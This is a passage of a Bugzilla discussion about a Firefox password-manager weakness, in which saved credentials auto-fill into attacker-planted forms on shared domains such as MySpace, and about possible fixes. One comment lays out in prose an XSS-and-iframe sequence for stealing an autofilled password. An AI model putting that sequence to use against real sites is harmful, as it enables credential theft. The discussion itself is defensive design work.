We cannot place the trust of Firefox security in the hands of countless webhosts and ISP's around the world. History has proven again and again that most of them don't care and/or know much about security.
(In reply to comment #111)
> #1 is indeed valid. But most != all, so there still needs to be protection.

That's why there were two reasons :)

> In #2 the point about having security barriers is valid. However, experience
> learns us that in practice, these barriers are not perfect. And even if the
> host of the sites is aware (which generally they are not), the users may not
> be.

The only alternative presented thus far is, "It's MySpace's fault".  I realized as soon as Jesse said host+port+protocol that it would create only a relatively small concern for a very limited number of admins.  Again, the alternative is to tell all webmasters to fix their own RCSR problems.
FYI, the MySpace issue has been resolved by MySpace. The source now reads:
<input .. name="password" size="20">
so looks like MySpace has begun sanitizing code better.
i think that the real solution to this is to:
1) make sure that we don't fill in any forms that are not visible on the screen (i.e. things that have been positioned absolutely with top: -100px or something similar, or styled with display: none). ideally this would include forms that we haven't scrolled down to yet as well, so that they are only filled in once we scroll down to them and they enter the window.
2) show the "action" parameter of a form on mouseover of the submit button in the status bar. optionally, delay submission of the form by 1-2 seconds as well, also displaying the action info even if we never moused over the submit button (i.e. if we just pressed enter on the keyboard).

to be honest, i think that turning off fillin for elements styled display: none should be the first and quickest fix, and should probably not be that painful to implement anyway.
(In reply to comment #113)
> 1) make sure that we don't fill in any forms that are not visible on the screen
> (i.e. things that have been positioned absolutely with top: -100px or something
> similar, or styled with display: none).

While that's probably a good goal, doing it even remotely correctly would be a lot of work and require a lot of thought/discussion, so it should really be considered in a different bug. Fixing just one or two of many obvious ways of hiding controls from the user doesn't really accomplish anything.
BTW, externally-submitted forms are legitimately included by MySpace users.

"You can buy (my CD) right here!
[form action="http://cdbaby.com/cart" method="post"]
Price: $15.00
Quantity: ___
Buy Now! (submit button)
[/form]

No password of course.
(In reply to comment #115)
> BTW, externally-submitted forms are legitimately included by MySpace users.
> 

That is true for a lot of other social networking sites as well (e.g., LiveJournal).  But I don't think anyone was suggesting that sites kill forms in general.  As noted in comment #19, it is the responsibility for sites to filter out type="password" inputs, not inputs in general, so I don't think that was ever an issue.
(In reply to comment #114)
> While that's probably a good goal, doing it even remotely correctly would be a
> lot of work and require a lot of thought/discussion, so it should really be
> considered in a different bug. Fixing just one or two of many obvious ways of
> hiding controls from the user doesn't really accomplish anything.

see Comment #15
As a programmer of 33+ years and someone who has been recommending that people switch to Firefox, I am quite distressed to learn of this bug and at the lack of real action on this very serious problem to date.

I only stumbled upon this bug report by accident and this is not the sort of bug that I want to exist in a browser I am recommending and using.

My suggestion is that the strongest security possible be used when dealing with passwords, regardless of any inconvenience it causes the users.

Fix this bug by filling in saved passwords only for the specific URL for which they were saved.

Don't fill in a saved password unless the URL is the same as when the user told Firefox to save the password.

Yes, users will, in some cases, need to enter (and have Firefox save) passwords for multiple URLs on some domains.

Is the goal security or convenience?

In many cases, and this is one of them, you can't have both.

The nature of the Internet ensures that attackers will try everything possible to breach a browser's security.

I firmly think that any attempt to handle this bug by looking at form field names, form actions, etc. will simply leave holes to be exploited at a later date.

Lock down a user's passwords by filling them in only for the exact URL for which they were saved.

There is the old KISS guideline - "Keep It Simple, Stupid" - some of the proposals I've read here violate that guideline.

The more complicated a security fix, the more likely that a hole has been left which will be found and exploited.

One consistent security problem with PC software (remember I am, as the PC people say, a "Main Framer" and as such come from a completely different culture than those who have only worked on PCs, as the PC is still a relatively new arrival on the computing scene) is that the approach too often taken in PC software is to disallow "bad things" instead of only allowing "good things."

The first approach is vulnerable to new "bad things" which aren't yet prohibited in the code.

The only problem with the second approach is that a new "good thing" will be prevented until it is added to the code.

Always use the second approach to security - just look at how often Microsoft and others have been badly burned by the first approach.

Firefox should only fill in a password when the URL is the same as it was when the password was saved - period.

This resolves the problem with minimal changes (read Issac Asimov's "End of Eternity" to learn what MNC for the MDR means)

Always use a scalpel, not a hammer and always KISS.

You can look at the issue of what is the "URL"? That is, should search fields be included in the criteria, but you should most certainly match the domain and page/script values.

Your action on this bug will be a sign of how committed FireFox is to providing a secure browser.

Always remember that there are uses of Firefox who are not computer experts, people who understand little about computers or the Internet except what they do to get to their favorite sites or do searches. Give them a secure product.

Make Firefox secure - don't let this browser go the way of those which the Firefox community has attacked in the past as insecure.

If users must reenter passwords on different pages on a domain, so be it. I don't think most people would have a problem when it was explain why this was necessary.

Don't plug a password into any page other than the one for which it was originally saved.
 
Lastly - this was first reported on 2006-11-12, it is currently 2006-11-27, let's see some actual action on this issue.

Is Firefox committed to a truly secure browser or not?

As has been stated in other comments - Microsoft Internet Explorer does not have this vulnerability because passwords are page specific.

Isn't I.E. the browser the Firefox community is always demonizing?

Relating to this bug, as far as its severity, and to other security bugs -- I think serious consideration should be given to adding to Firefox a new facility which will notify users of security issues and recommend actions they should take.

I will not lay out a full description of such a feature except the say the following, as I have not sat back and given the feature a great deal of thought as of yet:

1) Remember that most users are not computer savvy and as such need all the help they can get to be safe on the Internet.

2) There are already the auto-update features in Firefox which can, depending upon the settings, download updates without the user taking any actions - I think that is the default setting.

3) The security bug alert feature could function as the auto update features do as regards checking for new bugs for which the user has not yet been notified.

4) I am targeting such a feature at bugs, such as this bug, which have not been resolved and fixed in the code. The feature would advise the user how they can avoid the problem - in the case of this bug, the user could be told that they can avoid the problem by disabling the password fill in feature. If the bug was resolved in code, the user would be advised to upgrade to the fixed release.

Again - this is not a full discussion of this proposed new feature, just a starting point.

Bob Novell
(In reply to comment #118)
> Fix this bug by filling in saved passwords only for the specific URL for which
> they were saved.

My impression is that this would have been decided already if that option was on the table :)  I agree it is one of the better possibilities.
(In reply to comment #119)
> (In reply to comment #118)
> > Fix this bug by filling in saved passwords only for the specific URL for which
> > they were saved.
> 
> My impression is that this would have been decided already if that option was
> on the table :)  I agree it is one of the better possibilities.
> 

Ah - did I miss something? Is there a reason, other than someone doesn't like it, that this option - filling in passwords only for the page for which they were saved - is not on the table?

This is the only secure and viable solution.

The decision to provide the password for any page on a domain was a bad decision when it was made during design.

I would not have made that decision nor would I have expected it to be the behavior of something like this password manager.

That bad decision should now be corrected by modifying the code to only fill in a password for the same page for which it was saved.

If there is resistance to this fix, and I would like to hear it before I would give up my positoin, it could perhaps (and I mean PERHAPS) be approached by way of a new option "Fill in passwords only for specific pages for which they were saved."

This option would be on by default and if the user decided to turn it off, a warning dialog would be displayed.

NOT A ONCE ONLY dialog as is the current case with other warning dialogs. Any warning which is deemed important enough to be made should be made every time the user takes the action for which the warning is intended.

Some Firefox warnings are once only and if the user resets the default value for the option and then changes it again, the warning is not displayed again.

I think a "Security Forum" should be created to discuss security - in general and in specific issues.

Security is a vast concern of most users and Firefox should do everything possible to help.

I have to tell you, I'm going to be making a lot of telephone calls this A.M. to a lot of people - clients and friends - to warn them of this bug and to explain it to them so they can make an informed decision as to whether to disable the password manager (in some cases, knowing the people involved, I will tell them to disable the password manager and make it a rule to do so for all users of their computers)

We (the supporters of Firefox) have been telling people it is more secure than I.E. and here is a situation where it is less secure than I.E.

This has shaken my confidence in Firefox and, in some small way, open code projects in general.

I feel that this might be a case of "too many cooks spoil the broth."

Let me restate my position on security - a browser (or any program) can never be too secure.

A password manager for a browser should ONLY fill in a password for the page for which it was originally saved.

To do otherwise is to invite disaster - and the invitation has been accepted. This bug has been exploited and will be exploited until fixed.

It is a disaster not only for the security hole it concerns but also a disaster for the Firefox community's claim of a better and more secure browser.

Fix this bug by closing this security hole completely. Don't try to finesse it by looking at the form name or field names or action or whatever - if the URL is not the same as when the password was saved, do absolutely nothing - don't fill in the password, don't prompt the user - don't do anything.

So it is an inconvenience - so what?

"I'm so sorry sir, but your account was drained due to a feature of the Firefox browser which was created as a convenience to you. What, you didn't even know this feature functioned this way? Well, we aren't responsible if you don't know the internal details of the programs you use. In fact, due to our user agreement, we are responsible for anything."

If you are inclined to think that those who fall for phishing or other types of attacks (such as those facilitated by this bug) have no one to blame but themselves - think again and then get out of the business of designing and writing software.

To those involved in this part of the code - fix this problem by using the only sensible fix - don't fill in a password if the page is not the page for which the password was saved.

Bob Novell
Keying the username+password off of the exact URL of the page containing the form would break many sites, including Bugzilla.  I don't think it's a realistic solution.
(In reply to comment #120)
> explain it to them so they can make an informed decision as to whether to

Be sure to read up on how these issues affect the browsers.  Earlier you said IE is unaffected.. well.. IMO, it is definitely affected because IE does not check form action fields.
(In reply to comment #121)
> Keying the username+password off of the exact URL of the page containing the
> form would break many sites, including Bugzilla.  I don't think it's a
> realistic solution.
> 

By "breaking" do you mean that a user would have to enter their password again on a different page of the domain?

Bob Novell
(In reply to comment #122)
> (In reply to comment #120)
> > explain it to them so they can make an informed decision as to whether to
> 
> Be sure to read up on how these issues affect the browsers.  Earlier you said
> IE is unaffected.. well.. IMO, it is definitely affected because IE does not
> check form action fields.
> 

I did not test this myself, but if you Google the matter, there are many reports of I.E. not having this security problem.

I was not talking about form actions. I was talking about I.E. not filling in passwords unless it is for the same page as for which the password was saved.

There are many reports that I.E. only fills in the password if the page is the same - I wasn't referring to form actions or anything to do with the form.

I don't see that there would be a problem if the form action (or anything about the form) is different than it was when the password was saved, provided the page is the same.

If the site changes it's login form, for example, provided that Firefox can figure out the fields to fill in, it should not be a problem. 

If the form has been sufficiently changed that Firefox can't identify which fields to fill in, it should be treated like a new password - that is, the process of saving the password should be repeated -- the user prompted as to whether they want to save it, etc.

The problem is that Firefox will fill in the password for any page on a domain - that's the security hole. Any other considerations are secondary and perhaps not significant.

Bob Novell
(In reply to comment #124)
> The problem is that Firefox will fill in the password for any page on a domain
> - that's the security hole. Any other considerations are secondary and perhaps
> not significant.

(In reply to comment #109)
> When i fill in a password at www.server.com/~name1, the password manager
> shouldnt fill in the same password as www.server.com/~name2. 

This is the point!
Look at these completely different and independent web shops:
https://ssl.kundenserver.de/buchhandlung-fuerst.de/shop/service/login?shop_param=
https://ssl.kundenserver.de/gabrielandfriends.de/index.php?page=SN_Login&sslCall=true
https://ssl.kundenserver.de/apotheke.de/shop/reg_log.php?site=&pid=&

All of them are on the same server and I certainly want to have different passwords for all of them (otherwise I could use one password for all without needing a password manager).

So Firefox/Gecko MUST use at least the path of the URL - perhaps/presumably ignoring URL-parameters. 


(In reply to comment #124)
> I don't see that there would be a problem if the form action (or anything about
> the form) is different than it was when the password was saved, provided the
> page is the same.

It will "simply leave holes to be exploited at a later date."
(In reply to comment #125)
> All of them are on the same server and I certainly want to have different
> passwords for all of them (otherwise I could use one password for all without
> needing a password manager).

In comment #85 I mentioned salting the field names between virtual websites.  I believe this would allow the password manager to know the difference between the pages on your domain.
(In reply to comment #127)
> In comment #85 I mentioned salting the field names between virtual websites.

I quote from comment #85:
> But to be fair, these webmasters have the option of salting the field names.

So you expect the webmasters of these sites to fix the problem? Why do we still use 'quirks mode' then? I think history has shown that webmasters rarely change anything on their site to accomodate a browser.

And this ignorese the fact the bug is still present. Someone trying to steal your password can copy the seed and still get your password.
I may be utterly missing a point (in that case, forgive me), but assuming

1. Usually, user enter data into form by themselves
2. Browser just makes user's life easier by automating that

Doesn't that mean that the problem can be "solved" by prompting the user like "Do you want FF to fill in username/password for you on this page?". I am aware of the fact that this would still allow for all kind of attacks, but it might give a "marketing"-piece of mind: the user has actively opted to enter his credentials. If the page he is viewing abuses them, that is another story.

Of course, checks could and should be added that can warn the user like "This sight might try to phish or abuse your password", thus raising the bar for stealing passwords.

IMHO the problem cannot really be solved at the technical level, but ultimately the user will have to decide wether he enters credentials somewhere (like with ATMs - would you punch in your PIN into something that vaguely looks like an ATM and is located somewhere remote. If you do, it's your responsibility).
(In reply to comment #128)
> So you expect the webmasters of these sites to fix the problem? Why do we still
> use 'quirks mode' then? I think history has shown that webmasters rarely change
> anything on their site to accomodate a browser.

That is what it boils down to for Mozilla.  They can make the PM a per-page deal, or they can leave the burden on domain.com/~merchant webmasters to manage their own security.  The history also shows Mozilla favors the latter option.
(In reply to comment #130)
> That is what it boils down to for Mozilla.  They can make the PM a per-page
> deal, or they can leave the burden on domain.com/~merchant webmasters to manage
> their own security.  The history also shows Mozilla favors the latter option.

Please read the second part of my comment (comment #128):
> And this ignores the fact the bug is still present. Someone trying to steal
> your password can copy the seed and still get your password.

Even if the webmasters change their forms with some kind of seed, an attacker can make that change as well, using the same seed.
Only using a random seed every page load would work, since that effectively disables the password manager (but that kind of defeats the whole idea of having one in the first place).
(In reply to comment #131)
> Even if the webmasters change their forms with some kind of seed, an attacker
> can make that change as well, using the same seed.

If every website on the domain has a different seed, how does the attacker obtain a PM password from a different website?
(In reply to comment #132)
> If every website on the domain has a different seed, how does the attacker
> obtain a PM password from a different website?

You are implying that the webhost should change the users page for his/her forms to include a seed? This will not work. In the example of 'ssl.kundenserver.de', this hosts allows custom PHP hosting. It would be impossible to force the seed on every form, unless every page is processed after PHP has generated it and before it is sent to the browser. This would be a *mayor* performance issue and there would be ways to work around it. Also, it would probably break most scripts.
(In reply to comment #133)
Jeroen, let's discuss this part privately until we figure it out.
Jeroen and I were discussing whether multiple webmasters could securely coexist on one domain with server script access.  So far, it seems the password manager could not be exploited by domain.com/~username unless the website boundaries were already compromised.

Bob, I invite you to look at Jesse's page,
http://www.mozilla.org/projects/security/components/same-origin.html

This tells us that if there are paths requiring different credentials on the same domain, then those paths must be managed by trusted admins, because they have no client-side scripting boundaries.

If anyone knows of a situation where paths can't be trusted with each others' credentials without breaking the Same Origin Rule, then that would be an important contribution to this thread.
(In reply to comment #109)
> When i fill in a password at www.server.com/~name1, the password manager
> shouldnt fill in the same password as www.server.com/~name2. With that, this
> bug should be solved, without breaking anything. Right?

It seem there is a problem with this that you have
www.server.com/~name1/index.pl?rnd=1021
www.server.com/~name1/index.pl?rnd=1516
Well simple, the password manager should remember the url www.server.com/~name1/ and fill in the password on all pages that are on www.server.com/~name1/*.
When a (phising) site is found at www.server.com/~name2/index.pl?rnd=1021, the password manager should not fill in the password. This should fix most problems, and at sites where you can log in at www.server.com/index.html and www.server.com/forum.php, it probably isn't a problem a user has to fill in his password twice, but only twice. When you let the user press 'fill in password' on every site it has to use the password manager, you are training him to click the button each time you see it, no mater what page he's on.

Additional, the same solution can be used at my second, deeper solution:

> Optional, the password manager might also want to remember where the password
> was submitted to last time.
> When the first time i fill in the password, and my password is send to
> http://login.myspace.com/, there is probenbly something wrong when the next
> password field on the same page tried to submit your password to
> http://membres.lycos.fr/adel88duran/
> 

Again, remember http://login.myspace.com/, not http://login.myspace.com/index.cfm?fuseaction=login.process&amp;MyToken= bla bla bla.

Ps. Please stop the complaining about how slow this bug is solved, and a lot of users are going to have trouble with is. I completely agree with that, but it's not going to solve this bug, it's only going to keep the people who should solve it reading your post's.
(In reply to comment #136)
>This should fix most
> problems, and at sites where you can log in at www.server.com/index.html and
> www.server.com/forum.php, it probably isn't a problem a user has to fill in his
> password twice, but only twice.
Oops, I meant:
www.server.com/forum/forum.php
There are enough sites that use a seperate account for forums and site. Those that don't require you to log in a second time anyway, those that do log you in the the forums when you log in to the main site.
Only remaining is that site that allow you to log in on every one of it's sub pages. Guess we have to break the password manager in that case for the good of phising protection.
(In reply to comment #94)
> (In reply to comment #93)
> > This is not really a flaw, The password managers (both in firefox and ie7) are
> > doing exactly what they are supposed to do, they are automatically filling in
> > login forms. They simply fill out the fake form, it's up to the user to submit
> > it!
> 
> 
> How was the user expected to know there was a problem with myspace?
> 

Tom made a few warning that every registered myspace user can read, telling them about the fake forms ant that they should only login at myspace.com (the main page)

I still say it's not a browser issue. Some people design their sites to use cross site forms, it's not too uncommon, and if you start warning people and telling them that a illegitimate site is a suspected phishing site, that has lawsuit written all over it!

When I said it's a myspace issue, I didn't mean only myspace. Web masters should take caution and not allow members to do this kind of thing. They could limit the code usable by the user. It's not up to the browser to fix every website on the internet, every website should be fixed for the browsers that access it. 

Again, this is NOT a firefox issue. I don't see how you could disagree. 

You can't label every cross site form a phishing attempt!
(In reply to comment #129)
> Doesn't that mean that the problem can be "solved" by prompting the user like
> "Do you want FF to fill in username/password for you on this page?"...

I had just posted the following elsewhere before seeing this, but Netscape 8 gives the user an on-password-creation option of having the data automatically filled or instead have a Browser Message Bar appear at the top of the page when next accessed, allowing the user to choose to manually Fill or Fill & Submit the form on the page. This is great as on the Proof of Concept test that Robert Chapin made, the exploitive page pops up the bar and the user's reaction is "form? what form? Why is my user/pass from xyz site being suggested here?". However, this obviously only is beneficial if it is enabled..

Perhaps what is needed in Firefox regardless of any other solution is a way of alerting the user that saved password data has been automatically entered into a form? So in the PofC-page 2 in Firefox, even though I don't see a form, I could be alerted that if I do something on the page, it might submit password data. We currently have a padlock for Secure sites and that orange thing for RSS, how about a 'P' for 'password has been autofilled'?
> I still say it's not a browser issue. Some people design their sites to use
> cross site forms, it's not too uncommon, and if you start warning people and
> telling them that a illegitimate site is a suspected phishing site, that has
> lawsuit written all over it!

I disagree, the Password Manager is a user convenience feature.  As a site owner and Enterprise developer I say that security should definitely trump convenience in this case.  As far as I am concerned, passwords should be tied to the full url (less parameters).  Less parameters, because the parameters are often used to fire the user back to a referring page or state.

I would not worry about the contents of the page because if a site's login page has been compromised then there is nothing that Firefox can do to protect the user anyway.

If the Password Manager determines that the URL does not match then it should do nothing.  No warning, no error.  If the user types in the username + password, then save that as a new entry with the new URL which can be used the next time.

Regarding the threat of lawsuits, that is far more likely if Firefox exposes its users then if it tightens up its security.

Anthony
Note that this issue appears to affect Seamonkey 1.0.6 as well...
(In reply to comment #139)
> Perhaps what is needed in Firefox regardless of any other solution is a way of
> alerting the user that saved password data has been automatically entered into
> a form? So in the PofC-page 2 in Firefox, even though I don't see a form, I
> could be alerted that if I do something on the page, it might submit password
> data. We currently have a padlock for Secure sites and that orange thing for
> RSS, how about a 'P' for 'password has been autofilled'?

I was just thinking about this a little - what I suggested above would be helpful for exploitative hidden-form cases, but in regards to the Bug as filed - with the the MySpace example mentioned in the original post, the user would still be oblivious to the fact that something untoward was going on. So to further improve my suggestion, my Location Bar icon alerting the user to auto-filled forms should visually differentiated itself for 'password has been autofilled on a cross-site form'. Maybe a red 'P' in a circle for regular 'autofilled passwords' and the same with an 'X' over it for auto-filled cross-site forms?
(In reply to comment #140)
> convenience in this case.  As far as I am concerned, passwords should be tied
> to the full url (less parameters). 

Anthony,

Did you read this?
http://www.mozilla.org/projects/security/components/same-origin.html
it is a standard from years

And it is responsibly of website to show appropriate content on their site. 
As a user I prefer one site one password.
When password manager show up I dont want multiple entries shown for a site.
It becomes difficult to manage if there is a lot

The problem in this bug is only for those sites which accepts user content.
So my suggestion is a new scheme for those sites

see https://bugzilla.mozilla.org/show_bug.cgi?id=361915

which give option for the site to choose how the password should be saved.
as well as many other.
One thing I can say is all these things still wont help if the web developer/master is a dump.

We can also help webmasters by providing a "ready to go code" which will sanitize user submitted content. And which they can plugin freely to their site with not much difficulty.

Code should be available for all common languages used in web application ie
C#, VB.Net, VB, ASP, Java, PHP, Perl, Python etc.
(In reply to comment #143)
> The problem in this bug is only for those sites which accepts user content.
> So my suggestion is a new scheme for those sites

This would mean none of the existing forum websites support the new scheme.  Every one would have to be patched or upgraded.
(In reply to comment #142)
> - with the the MySpace example mentioned in the original post, the user would
> still be oblivious to the fact that something untoward was going on.

This is a good observation.  Most of the proposed PM bug solutions have left the RCSR attack vector wide open.  The debate seems to revolve around, "Should we make webmasters fix this, like we did when we released Javascript?"
(In reply to comment #113)
> so looks like MySpace has begun sanitizing code better.

:)  Their filter now makes password field entries visible instead of showing up as dots.. and that is the only change?  That's supposed to stop phishers?
(In reply to comment #146)
> (In reply to comment #113)
> > so looks like MySpace has begun sanitizing code better.
> 
> :)  Their filter now makes password field entries visible instead of showing up
> as dots.. and that is the only change?  That's supposed to stop phishers?

see comment 113 ... is fx still filling in the password field? cause it def shouldn't, seeing as it's no longer a "password" type field. and if it's not, then this isn't relevant to the discussion :)
(In reply to comment #147)
> see comment 113 ... is fx still filling in the password field? cause it def
> shouldn't, seeing as it's no longer a "password" type field. and if it's not,
> then this isn't relevant to the discussion :)

Relevant in so far as CSS 3 is going to break their filter.
(In reply to comment #61)
> - We can check the form action url before fill in, but javascript can change
> the action url later on, after fill in.

Idea:
Trust all password forms that refer back to the same domain or parent (same origin) using the HTML action attribute.  Warn on password forms that break the Same Origin Rule within the HTML action attribute, including those with a blank action.  No effort made to check javascript.

Pros:
Creates a unified Same Origin Rule within the password manager.  Enables users to see where their password is being sent on pages that allow user-contributed HTML and do not allow user-contributed scripts.  Makes XSS a separate issue by enabling only scripts on the current page to send your password anywhere.

Cons:
www.domain.com would raise a warning if it submits passwords to login.domain.com without using a trusted javascript to do it.
(In reply to comment #149)
> Idea:
> Trust all password forms that refer back to the same domain or parent (same
> origin) using the HTML action attribute.  Warn on password forms that break the
> Same Origin Rule within the HTML action attribute, including those with a blank
> action.  No effort made to check javascript.

Let me repeat myself again: The password manager should remember what domain the password form refer back to the first time the password was filled in and was saved. It shouldn't fill in the password when any of the 2 domains differ. (domain your on right now and the domain the form data is send to)

Pros:
www.domain.com would not even raise a warning if it submits passwords to login.domain.com when it submitted to the same host previouse.

And also, i'm strongly against warnings. Even when one out of 10 people ignore the warning, the phisher has won his price. Simply do not fill in form data when something looks wrong and it's all fine.
(In reply to comment #143)
> (In reply to comment #140)
> Did you read this?
> http://www.mozilla.org/projects/security/components/same-origin.html
> it is a standard from years

I think I understand the same origin policy but I don't believe that should apply to the password manager.  I also don't see why a Webmaster would want to have multiple password entry screens for a site all of which feed of the same password cache entry.  The only instance that I could think of would be a change password screen that asks you to reenter your initial password.  Even in that case I would not want the password cache used.  The purpose of the password confirmation is to verify that you are really you.

In those cases where there are multiple places to enter your password it is normally because they are giving you access to elevated or alternate credentials.  The password cache should not be assuming anything in those cases.


> When password manager show up I dont want multiple entries shown for a site.
> It becomes difficult to manage if there is a lot

It should not be the responsibility of the password manager to implement single-sign-on for webmasters that have purposely chosen to avoid doing that.


> And it is responsibly of website to show appropriate content on their site. 
> As a user I prefer one site one password.

To a large extent I agree.  That said we don't need to make life any easier for those with malicious intent.  As far as I am concerned it is too easy already.


> The problem in this bug is only for those sites which accepts user content.
> So my suggestion is a new scheme for those sites
....
> Code should be available for all common languages used in web application ie
> C#, VB.Net, VB, ASP, Java, PHP, Perl, Python etc.

I disagree.  This solution would be far to onerous.  It would also leave open a new (and not so obvious) attack vector that could and would be exploited in the foreseeable future.  Most webmasters (myself included) are not the web gods we want to be and so mistakes will be made.


To me the solution is simple, safe and straight forward.  Make the URL part of the key. If the URL stored in the Password Manager does not match then do nothing at all.  If the user saves a password then create a new matching entry.

KISS is good in this case as in most.

Anthony
(In reply to comment #151)
> To me the solution is simple, safe and straight forward.  Make the URL part of
> the key. If the URL stored in the Password Manager does not match then do
> nothing at all.  If the user saves a password then create a new matching entry.
> 
> KISS is good in this case as in most.

I dont know you are aware of Pretty URL format, ie
http://en.wikipedia.org/w/index.php?title=Special:Userlogin&returnto=Main_Page
can be modified to http://en.wikipedia.org/login/Main_Page to look pretty using apache mod_rewrite.
having password saved for url, will be unfair for developer who try to achieve that.

saving password for url will solve one particular hole.

Source of problem is insufficient sanitizing, we should be focusing on that.
otherwise we will be giving an illusion of safety.
even if we do password saved for url, still a hacker can steal password.

* Achieve a XSS using http://ha.ckers.org/xss.html or with an undiscovered hole.
* call that page-1.html
* Now lure user to play Jesse's whack-a-mole game.
* on game site show page-1.html in a <iframe> 
* on page-1.html create onther <iframe> with normal login page of the target site.
* this will allow  password manager to fill in password
* now page-1.html can access the content of password field in login page 
(same origin policy)
* and page-1.html can send the password to anywhere.

So I say, continue doing current KISS method instead of another new KISS 
and alway try to solve problem at source.

Pass word saved for SHOP will have benift, 
like the one at https://ssl.kundenserver.de/
but not for the one save all URL
(In reply to comment #152)
> I dont know you are aware of Pretty URL format, ... apache mod_rewrite.

Grrr, I must admit my ignorance. Thanks for the lesson.

> Source of problem is insufficient sanitizing, we should be focusing on that.

The problem with attempting to sanitize is that it will be an ongoing battle.  Much like spam.  There are always new forms of bacteria developing.

Anthony
(In reply to comment #19)
> IMO, the right solution is to tell myspace and similar sites to disallow input
> type="password" in user-generated content the same way they disallow XSS
> hazards like inline scripts, onclick, -moz-binding, etc.

I would like to point out this policy implies trust between the user and webmaster where that trust may not actually exist.

I think this is why there has been so much disagreement about the proposed server-side solution.

If you decide to "tell similar sites to disallow hazards", then you must also ask, "Do all users trust all similar sites to do this correctly."  If that trust does not exist, then both the websites AND the browser are broken, and an important opportunity has been missed.
(In reply to comment #150)
> Let me repeat myself again: The password manager should remember what domain
> the password form refer back to the first time the password was filled in and
> was saved. It shouldn't fill in the password when any of the 2 domains differ.
> (domain your on right now and the domain the form data is send to)
> 
> Pros:
> www.domain.com would not even raise a warning if it submits passwords to
> login.domain.com when it submitted to the same host previouse.
> 
> And also, i'm strongly against warnings. Even when one out of 10 people ignore
> the warning, the phisher has won his price. Simply do not fill in form data
> when something looks wrong and it's all fine.

This is essentially what we're going to do.  There is a small risk that upgrading users will hit a phishing site before the legitimate site, but the alternative of crippling stuff out of the box isn't good either.  Patch tonight or tomorrow.
Assignee: gavin.sharp → mconnor
Here this bug has been discussed for days and days and still the basic problem isn't being seen by a vast number of people - the majority actually.

The Firefox Password Manager filled in a password on a page for which it had not saved the password thus allowing an unauthorized person to obtain the password. Firefox did this because the decision to fill in or not to fill in is made based upon the domain not the URL of the page.

No amount of form checking, persuading webmasters to change their sites, etc. is going to fix this problem and keep it fixed.

The only way to resolve this problem is to ONLY FILL IN THE PASSWORD FOR THE PAGE ON WHICH THE PASSWORD WAS SAVED - PERIOD!

I've been working extensively with computers for 33+ years in an incredibly varied diversity of systems.

Except for my first job, I have always held the top technical position in shops ranging from moderate in size to those involving dozens and dozens of programmers.

I have often sat in on the discussion of a problem and sometimes listened to a bizarre set of suggested solutions.

I far too many times, I have had to say "Okay, here's how we are going to fix this problem and this is the final word - why because I'm the "mommy" here and we are going to do it my way"

Yes, I can recall at least two instances in which I was getting so much resistance from a couple of junior programmers that I actually said "mommy."

As I read the recommendations for fixing this security problem, I feel like I'm back in one of those situations.

There are people who actually understand that the Password Manager is a convenience to the user, that there are millions of "webmasters" out there and the expectation of "webmasters" fixing this problem instead of the Firefox community doing so is not only futile but is an absurd suggestion, that in security matters, the simplest fix is always the best.

I've said this before and I will repeat it here - Firefox should only fill in a saved password for the page for which the password was saved!

No amount of form fields checking or wishing that webmasters would take part in making their sites secure - secure, that is, from what is a FIREFOX BUG, not a webmaster bug - none of this is going to resolve this problem without possibly leaving new holes to be found later one.

I have chuckled to see that "KISS" is being used in this discussion since my first use of it a few days ago.

"KISS" has been around long before computers - back to and before when a "computer" was usually a young woman who took data and performed calculations with that data, either by hand or using what we now consider primitive calculators.

"KISS" has survived for so long as a guiding principle because it is a good principle.

"KISS" is not simply a cute thing to toss around - for anyone working with computers, in any way, it should be a guiding principle.

The simpler you make a design, the better it will work, the easier it will be to debug, the easier it will be to modify later on, and the more solid will be the results.

Let's look at our bug -

Firefox saved a password. Firefox then filled in that password on a form on a page from the same domain as the page for which Firefox saved the password.

The page in question was designed by someone who happened to wonder "Hmm, does Firefox key off the domain name or the entire URL?" 

I suspect that this individual ran tests on another domain, one he or she controlled, and learned that Firefox keys off the domain only.

They then used a site where they could include sufficient code (HTML and such) to create a page on which Firefox would fill in the visitor's password.

They put this "in the wild", as is said, and it produced the results they wanted.

I don't care how many new checks you put into Firefox to prevent it filling in a password on page where it should not being doing so - some change to existing systems (HTML XML, etc), or some new thing (remember XML was new once, Javascript was new once), in the future will more than likely provide a way around the checks.

I would like every one to read the following points and take them to heart - reread them if necessary:

1) The Password Manager is a feature added to aid the users of Firefox as they use the Internet. God did not come down and say "Thou shalt create a Password Manager."

2) The Internet is a dark, sinister, evil, dangerous, and little understood place to something like 95% of those who venture into it.

3) Firefox has been billing itself as a safe and secure browser, the designers of which, have the safety of users always in mind. The way this bug is handled is going to say a lot about the commitment to security and the quality of work done by the Firefox community.

4) There are millions (maybe billions?) of "webmasters" out there creating sites. These range from people who know every nut, bolt, and screw of the present Internet to those who are often lucky to simply get their computer started and then connect to the Internet. Do those people who are saying that webmasters should help fix this Firefox bug really think all webmasters can be persuaded to make the necessary changes? If so, those people are living in a dream world.

5) Society tries to protect those who cannot protect themselves - either because they literally cannot protect themselves or because they do not know enough about a situation to protect themselves. Firefox should protect the most vulnerable user - not just those users who understand about HTML forms, password fields, the niceties of domains versus URLs etc. By protecting the most vulnerable, everyone will be protected, albeit that those able to protect themselves may be a bit inconvenienced from time to time.

Let me expand upon this one -

Gasoline powered lawn mowers in the USA are required to have a feature such that when the person using them takes their hands off the handle, the engine is stopped. This is to prevent the injuries what occur when, for example, the clipping bag becomes full and the user goes to empty it without turning off the engine - should they slip and introduce their hand or foot, or other body part, into the path of the blade ---- well, you get the idea. The law now requires that mowers have a safety device which must be operated to start the engine and keep it starting. Sure, it is an inconvenience to those who never make any mistakes and who never slip and who never endanger themselves (right!) but it sure is handy when you do slip and your foot goes under the mower as you remove a full clippings bag.

Clothes washers in the USA are required to be designed so that if you lift the lid while it is running, the washer stops. Originally the requirement was that the washer stop if it was in a spin cycle but newer models now stop regardless of which cycle they are in when the lid is lifted.

An inconvenience? - yes, when, for example, the load is off balance during the spin and you need to see it spin for a couple of seconds before you know how to redistribute the load.

Great feature? - sure is, when a child (or a less than cautious adult) raises the lid to reach into the washer without first stopping the washer manually.

I can go on and on about such laws or requirements - the point is that in each instance (regardless of whether you think such laws are unwanted intrusions by government into you life or not) their goal is to protect those who don't know enough to recognize a danger or who are foolish enough to ignore a danger.

Society always tries to error on the side of more protection - so should the Firefox design community.

6) There is much talk about there being multiple sign in pages on many web sites, this being cited as why URL specify passwords are not a good solution to this bug. Okay, so perhaps there are sites which have more than one sign in page - I really can't think of more than about 2 or 3 that I have visited - so what? So the user has to enter their password again for another sign on page - so what? The user would only have to enter the password once on each of the multiple sign in pages - the password manager would handle it after that - right?

